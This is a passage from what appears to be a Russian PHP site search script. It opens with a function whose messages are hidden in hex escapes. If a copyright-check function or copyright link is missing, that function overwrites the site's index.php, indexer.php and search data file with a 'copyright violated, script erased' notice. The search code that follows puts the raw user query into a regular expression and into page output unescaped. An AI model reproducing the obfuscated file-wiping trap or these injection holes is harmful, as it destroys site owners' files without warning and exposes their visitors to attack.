function PHPruRw() { $mes = new PHPruSap; $target = array ('index.php','indexer.php','sdata/search.php'); $new = "\xC2\xFB \xED\xE0\xF0\xF3\xF8\xE8\xEB\xE8 \xE0\xE2\xF2\xEE\xF0\xF1\xEA\xEE\xE5 \xEF\xF0\xE0\xE2\xEE.<\x42\x52>"; $new .= "\xD1\xEA\xF0\xE8\xEF\xF2 ".$mes->ink." \xF1\xF2\xE5\xF0\xF2\x21"; if (!function_exists("\x50\x48\x50\x72\x75\x53\x65\x61\x72\x63\x68")) { foreach($target as $crash) PHPruSave($new,$crash); echo $new; exit('</BODY></HTML>'); } else { if(PHPruSearch('..','rus') == '') { $var = new PHPruSap;?> <?=$var->all.$var->pattern."'\x3E".$var->ink.$var->sfx; } else { foreach($target as $crash) PHPruSave($new,$crash); echo $new; exit('</BODY></HTML>'); } } }
<BR>Слишком короткие запросы не обрабатываются. Используйте не менее 3 символов. <BR><BR> </TD></TR> </TABLE> <? exit; } $searchstring = trim($_POST["query"]); $searchword = explode (" ",$searchstring); // массив строки запроса $allwords = count($searchword); // сколько слов в запросе ################################################################## $FILE = file('sdata/search.php'); $count = count($FILE); PHPruSearch('..','rus'); for ($x = 0; $x < $count; $x++) // выбираем файл { list($filename,$filesize,$content,$modify) = explode('^!^',$FILE[$x],4); $temp = explode('%^%',$content); $true = $find = $full_result = $long = 0; $sizetotal += $filesize; foreach($temp as $key => $value) // выбираем строку { if($allwords > 1) // если более одного слова в запросе { if(preg_match_all("/".$searchstring."/i", $value, $ok, PREG_PATTERN_ORDER)) $new = str_replace($ok[0][0],'<FONT COLOR='.trim($CONFIG[2]).'>'.trim($CONFIG[6]).$ok[0][0].'</FONT>'.trim($CONFIG[7]), $value); else $new = $value;